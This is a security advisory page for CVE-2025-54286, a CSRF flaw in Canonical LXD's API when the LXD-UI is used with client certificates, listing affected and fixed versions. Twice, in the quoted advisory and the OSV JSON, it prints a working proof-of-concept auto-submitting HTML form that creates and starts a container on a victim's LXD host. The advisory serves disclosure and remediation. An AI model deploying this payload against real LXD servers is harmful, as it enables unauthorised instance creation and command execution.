CVE-2025-54286: Github.com/canonical/lxd Canonical LXD CSRF Vulnerability When Vulnerability

HIGH
Advisory Identifier: GHSA-p8hw-rfjg-689h
CVSS 8.3
CWE-352
Published
Advisory Summary

CVE-2025-54286 is a HIGH (CVSS 8.3) canonical lxd csrf vulnerability when vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Github.com/canonical/lxd libraries in the Go ecosystem. The issue involves canonical lxd csrf vulnerability when using client certificate authentication with the lxd-ui. Remediation is available by upgrading affected packages to version 6.5, 0.0.0-20250827065555-0494f5d47e41, 5.0.5, 5.21.4.

CVE-2025-54286 at a Glance

CVE Identifier CVE-2025-54286
GHSA Identifier GHSA-p8hw-rfjg-689h
Severity HIGH
CVSS v3.1 Base Score 8.3
CWE Classification CWE-352: Cross-Site Request Forgery (CSRF)
Affected Product Github.com/canonical/lxd
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-54286

To remediate this vulnerability, upgrade all affected Github.com/canonical/lxd dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/canonical/lxd fixed: 6.5
Upgrade github.com/canonical/lxd to 6.5
github.com/canonical/lxd fixed: 0.0.0-20250827065555-0494f5d47e41
Upgrade github.com/canonical/lxd to 0.0.0-20250827065555-0494f5d47e41
github.com/canonical/lxd fixed: 5.0.5
Upgrade github.com/canonical/lxd to 5.0.5
github.com/canonical/lxd fixed: 5.21.4
Upgrade github.com/canonical/lxd to 5.21.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/canonical/lxd

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-54286, inspect your project dependencies for Github.com/canonical/lxd:

inspect dependencies for github.com/canonical/lxd

Analyze the terminal output to locate any version of Github.com/canonical/lxd in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.5), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Github.com/canonical/lxd, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Description OIDC authentication uses cookies with the SameSite=Strict attribute, preventing cookies from being sent with requests from other sites. Therefore, CSRF does not occur as long as web services in a Same Site relationship (same eTLD+1) with the origin running LXD-UI are trusted. However, since the SameSite concept does not apply to client certificates, CSRF protection that doesn't rely on the SameSite attribute is necessary. Note that when using cross-origin fetch API, client certificates are not sent in no-cors mode due to CORS restrictions (according to the WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials), client certificates are treated as credentials), making cross-site attacks using fetch API difficult unless CORS settings are vulnerable. However, since LXD's API parses request bodies as JSON even when `Content-Type` is `text/plain` or `application/x-www-form-urlencoded`, CSRF attacks exploiting HTML form submissions are possible. ### Reproduction Steps 1. Prepare a malicious website controlled by the attacker 2. Deploy the following HTML form to implement an attack that automatically creates instances when victims visit: This exploit code automatically sends a JSON string as text/plain to create an instance when rendered. Note that for this PoC to work, the specified profile (default) must have a Default instance storage pool configured. This is typically set in the default profile of projects created after storage pool creation. ```html <html> <body> <form enctype="text/plain" method="POST" action="https://lxd-host:8443/1.0/instances?project=default&target=" id="form"> <input type="hidden" name='{"' id="input"> <input type="submit"> </form> <script> const i = document.getElementById('input'); i.value = `":123,"name":"poc","type":"container","profiles":["default"], "source":{"alias":"24.04","mode":"pull","protocol":"simplestreams","server":"https://cloud-images.ubuntu.com/releases","type":"image"},"devices":{},"config":{},"start":true}`; document.getElementById('form').submit(); </script> </body> </html> ``` 3. Log in to LXD-UI with a user having permissions to create instances in the project (default) specified in step 2 4. Access the URL of the HTML file prepared in step 2 and confirm that an instance is created and started ### Risk The attack conditions require that the victim is already connected to LXD using client certificate authentication and that the attacker can lead the victim to a controlled website. Possible actions through the attack include, depending on the victim's permissions, creating and starting arbitrary instances, and executing arbitrary commands inside containers using cloud-init. ### Countermeasures The most effective countermeasure is to strictly enforce `Content-Type` validation at API endpoints. Specifically, change the implementation to reject requests when `Content-Type` is not `application/json`. With this countermeasure, attackers cannot send proper JSON requests using Simple Requests (HTML form submissions) and must use fetch API with CORS. However, as long as proper CORS settings are implemented, client certificates are not sent with cross-origin fetch API requests, preventing the attack. Additionally, implementing CSRF tokens or validating Origin/Referer headers could be considered as countermeasures, but these would create compatibility issues with the LXD command, which is another API client. ### Patches | LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Fixed in LXD 5.0.5 | | 4.0 | Ignored - No web UI | ### References Reported by GMO Flatt Security Inc.

CVE-2025-54286 Affected Github.com/canonical/lxd Versions

4 component(s)
Fixed Versions:
6.50.0.0-20250827065555-0494f5d47e415.0.55.21.4
Product / Package Ecosystem Affected Versions Fixed Version
github.com/canonical/lxd
Go
≥ 6.0
< 6.5
6.5
github.com/canonical/lxd
Go
≥ 0.0.0-20220401034332-1e1349e3cbf3
< 0.0.0-20250827065555-0494f5d47e41
0.0.0-20250827065555-0494f5d47e41
github.com/canonical/lxd
Go
≥ 5.0
< 5.0.5
5.0.5
github.com/canonical/lxd
Go
≥ 5.1
< 5.21.4
5.21.4

References

Frequently Asked Questions

What is CVE-2025-54286?
CVE-2025-54286 is a security vulnerability in Github.com/canonical/lxd involving Canonical LXD CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI under CWE-352: Cross-Site Request Forgery (CSRF).
Which Github.com/canonical/lxd versions are affected?
Affected versions include releases prior to 6.5, 0.0.0-20250827065555-0494f5d47e41, 5.0.5, 5.21.4 across affected packages: github.com/canonical/lxd.
What version fixes CVE-2025-54286?
Upgrading to 6.5, 0.0.0-20250827065555-0494f5d47e41, 5.0.5, 5.21.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/canonical/lxd affected?
Yes, github.com/canonical/lxd is affected in releases prior to 6.5, 0.0.0-20250827065555-0494f5d47e41, 5.0.5, 5.21.4. Upgrade your dependency to 6.5, 0.0.0-20250827065555-0494f5d47e41, 5.0.5, 5.21.4 or later.
What is the CVSS score of CVE-2025-54286?
CVE-2025-54286 has a CVSS v3.1 base score of 8.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2025-54286?
CVE-2025-54286 is classified under CWE-352: Cross-Site Request Forgery (CSRF) (The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.).
How can I check Go dependencies for CVE-2025-54286?
Run the dependency tree command: 'inspect dependencies for github.com/canonical/lxd'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p8hw-rfjg-689h",
  "modified" : "2025-11-05T22:05:13Z",
  "published" : "2025-10-02T21:23:44Z",
  "aliases" : [ "CVE-2025-54286" ],
  "summary" : "Canonical LXD CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI",
  "details" : "### Description\nOIDC authentication uses cookies with the SameSite=Strict attribute, preventing cookies from being sent with requests from other sites. Therefore, CSRF does not occur as long as web services in a Same Site relationship (same eTLD+1) with the origin running LXD-UI are trusted.\n\nHowever, since the SameSite concept does not apply to client certificates, CSRF protection that doesn't rely on the SameSite attribute is necessary.\n\nNote that when using cross-origin fetch API, client certificates are not sent in no-cors mode due to CORS restrictions (according to the WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials), client certificates are treated as credentials), making cross-site attacks using fetch API difficult unless CORS settings are vulnerable. However, since LXD's API parses request bodies as JSON even when `Content-Type` is `text/plain` or `application/x-www-form-urlencoded`, CSRF attacks exploiting HTML form submissions are possible.\n\n### Reproduction Steps\n1. Prepare a malicious website controlled by the attacker\n2. Deploy the following HTML form to implement an attack that automatically creates instances when victims visit:\n\nThis exploit code automatically sends a JSON string as text/plain to create an instance when rendered.\n\nNote that for this PoC to work, the specified profile (default) must have a Default instance storage pool configured. \nThis is typically set in the default profile of projects created after storage pool creation.\n\n```html\n<html>\n<body>\n<form enctype=\"text/plain\" method=\"POST\" action=\"https://lxd-host:8443/1.0/instances?project=default&target=\" id=\"form\">\n<input type=\"hidden\" name='{\"' id=\"input\">\n<input type=\"submit\">\n</form>\n<script>\nconst i = document.getElementById('input');\ni.value = `\":123,\"name\":\"poc\",\"type\":\"container\",\"profiles\":[\"default\"], \"source\":{\"alias\":\"24.04\",\"mode\":\"pull\",\"protocol\":\"simplestreams\",\"server\":\"https://cloud-images.ubuntu.com/releases\",\"type\":\"image\"},\"devices\":{},\"config\":{},\"start\":true}`;\ndocument.getElementById('form').submit();\n</script>\n</body>\n</html>\n```\n\n3. Log in to LXD-UI with a user having permissions to create instances in the project (default) specified in step 2\n4. Access the URL of the HTML file prepared in step 2 and confirm that an instance is created and started\n\n### Risk\nThe attack conditions require that the victim is already connected to LXD using client certificate authentication and that the attacker can lead the victim to a controlled website.\n\nPossible actions through the attack include, depending on the victim's permissions, creating and starting arbitrary instances, and executing arbitrary commands inside containers using cloud-init.\n\n### Countermeasures\nThe most effective countermeasure is to strictly enforce `Content-Type` validation at API endpoints. \nSpecifically, change the implementation to reject requests when `Content-Type` is not `application/json`. With this countermeasure, attackers cannot send proper JSON requests using Simple Requests (HTML form submissions) and must use fetch API with CORS. However, as long as proper CORS settings are implemented, client certificates are not sent with cross-origin fetch API requests, preventing the attack.\n\nAdditionally, implementing CSRF tokens or validating Origin/Referer headers could be considered as countermeasures, but these would create compatibility issues with the LXD command, which is another API client.\n\n### Patches\n\n| LXD Series  | Status |\n| ------------- | ------------- |\n| 6 | Fixed in LXD 6.5  |\n| 5.21 | Fixed in LXD 5.21.4  |\n| 5.0 | Fixed in LXD 5.0.5  |\n| 4.0  | Ignored - No web UI  |\n\n### References\nReported by GMO Flatt Security Inc.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/canonical/lxd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0"
      }, {
        "fixed" : "5.0.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/canonical/lxd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.1"
      }, {
        "fixed" : "5.21.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/canonical/lxd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "6.0"
      }, {
        "fixed" : "6.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/canonical/lxd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.0.0-20220401034332-1e1349e3cbf3"
      }, {
        "fixed" : "0.0.0-20250827065555-0494f5d47e41"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/canonical/lxd/security/advisories/GHSA-p8hw-rfjg-689h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54286"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/canonical/lxd"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2025-4003"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-10-02T21:23:44Z",
    "nvd_published_at" : "2025-10-02T10:15:38Z"
  }
}